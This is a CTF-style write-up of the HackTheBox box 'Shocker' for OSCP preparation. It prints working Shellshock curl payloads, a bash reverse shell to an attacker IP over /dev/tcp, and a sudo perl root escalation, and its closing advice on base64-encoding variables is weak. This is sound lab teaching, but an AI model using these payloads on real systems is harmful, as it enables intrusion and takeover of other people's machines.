This write-up is part of my OSCP preparations series and I'll be smashing through TJ Null's list of OSCP-like boxes. This is OSCP_02.
Things we will be going through:
-> Assessment: Initial enumeration of the box to find footholds and entry points.-> User Ownage: Exploiting the found vulnerabilities to compromise a low-privilege user account.
-> Root Owngae: Local enumeration and privilege escalation to complete system compromise.
Assessment:
Let's start with port enumeration using Nmap:╰─ nmap -sC -sV -T4 -vvv 10.10.10.56 Host is up, received echo-reply ttl 63 (0.18s latency). Scanned at 2020-03-05 17:55:24 IST for 30s Not shown: 998 closed ports Reason: 998 resets PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: OPTIONS GET HEAD POST |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 2222/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc= | 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
The number of ports reported by Nmap is 2:
- Port 80 HTTP: Seeing that port 80 is open, I moved on to my browser to check it out and I was greeted by this:
I moved on to directory enumeration and ran gobuster:╰─ gobuster dir -w /usr/share/wordlists/dirb/small.txt -x php,html -u http://10.10.10.56 -t 50 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.56 [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirb/small.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php, html [+] Timeout: 10s =============================================================== 2020/03/07 01:04:29 Starting gobuster =============================================================== /cgi-bin/ (Status: 403) =============================================================== 2020/03/07 01:04:56 Finished ===============================================================
As soon as I saw "cgi-bin", my mind immediately went to the shellshock vulnerability. Also at this point I realized, name of the box was itself a hint, "Shocker" pointing to the shellshock exploit. So I ran gobuster again to find exploitable scripts inside "/cgi-bin/" directory:╰─ gobuster dir -w /usr/share/wordlists/dirb/small.txt -x sh,pl -u http://10.10.10.56/cgi-bin/ -t 50 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.56/cgi-bin/ [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirb/small.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: sh,pl [+] Timeout: 10s =============================================================== 2020/03/07 01:11:38 Starting gobuster =============================================================== /user.sh (Status: 200) =============================================================== 2020/03/07 01:12:04 Finished ===============================================================
And we hit something! - Port 2222 OpenSSH: The port for SSH being unusual, I looked for some exploits for the specific version pointed by Nmap (OpenSSH 7.2.p2), but the only one availble was for username enumeration, so I didn't follow it further.
User Ownage:
So I was almost certain shellshock at "/cgi-bin/user.sh" was the entry point. So I picked a basic shellshock payload and curled it:╰─ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c hostname" http://10.10.10.56/cgi-bin/user.sh
Shocker
And we had code execution. I got a reverse shell using the basic Bash command:curl -H "user-agent: () { :; }; echo; echo; /bin/bash -i >& /dev/tcp/10.10.14.11/8080 0>&1" http://10.10.10.56/cgi-bin/user.sh
And in another tab, I caught the incoming connection:╰─ nc -lnvp 8080 listening on [any] 8080 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.56] 60906 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$Ergo, user was owned.
Root Ownage:
Privilege escalation on this box was almost trivial. My first step was to check what commands can be ran using sudo without a password:shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
We can see that perl commands can be executed as root, so I popped a sh session through perl:
shelly@Shocker:/usr/lib/cgi-bin$ sudo /usr/bin/perl -e 'exec("/bin/sh");'
sudo /usr/bin/perl -e 'exec("/bin/sh");'
id
uid=0(root) gid=0(root) groups=0(root)
wc -c /root/root.txt
33 /root/root.txt
And we had root ownage!
Mitigation:
- Vulnerability 1 (Shellshock): Sanitizing user inputs in shell scripts is the best way to avoid getting shellshocked. Directly storing variable values is not recommended and rather they first should be encoded and stored (say in base64 format).
- Vulnerability 2 (Rogue Permissions): It should be made sure that unnecessary permissions are not given to commands that may lead to privilege escalation. Sudo privileges should be given only to those accounts that require it.